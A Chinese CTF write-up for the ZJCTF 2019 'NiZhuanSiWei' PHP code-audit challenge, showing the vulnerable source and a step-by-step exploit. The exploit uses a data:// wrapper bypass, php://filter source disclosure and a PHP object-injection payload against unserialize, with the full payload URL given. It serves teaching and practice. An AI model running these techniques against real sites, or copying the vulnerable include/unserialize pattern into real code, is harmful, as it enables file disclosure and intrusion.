[ZJCTF 2019]NiZhuanSiWei

本文详细介绍了一个PHP代码审计挑战的解决过程,包括利用data伪协议、php://filter读取源码、绕过正则表达式检查及利用反序列化漏洞获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

这道题涉及到的知识点:
1.data伪协议写入文件
2.php://

php://filter用于读取源码
php://input用于执行php代码

一进门就给了源码,看来是个代码审计题。

<?php   
$text = $_GET["text"]; 
$file = $_GET["file"]; 
$password = $_GET["password"]; 
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ 
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; 
    if(preg_match("/flag/",$file)){ 
        echo "Not now!"; 
        exit();  
    }else{ 
        include($file);  //useless.php 
        $password = unserialize($password); 
        echo $password; 
    } 
} 
else{ 
    highlight_file(__FILE__); 
} 
?>

首先,针对

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

这一行代码进行一个绕过。因为我们不知道后台哪个文件的源码是welcome to the zjctf,说不准就真没有,只能在传入的时候直接带进来。这里利用到data伪协议将数据直接写进去,以供file_get_contents函数读取。

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

这样即可。

第二个绕过

if(preg_match("/flag/",$file)){     #上传的file变量中不能包含'flag'字样
        echo "Not now!"; 
        exit();  
    }else{ 
        include($file);  //useless.php 
        $password = unserialize($password); 
        echo $password; 
    }

这里源码给你提示了,让你包含useless.php,如果包含flag.php直接报错。
于是

file=useless.php

如果直接这么执行的话,返回的文件中包含的php代码会直接当成php命令来执行,所以需要base64编码一下,以免被执行。

file=php://filter/read=convert.base64-encode/resource=useless.php

这里利用php"//filter来读取源码:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php在这里插入图片描述
得到了

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

这里直接利用php反序列化漏洞
脚本如下:

<?php
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a = new Flag();
$a -> file='flag.php';
echo serialize($a);
?>

得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终的payload:?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值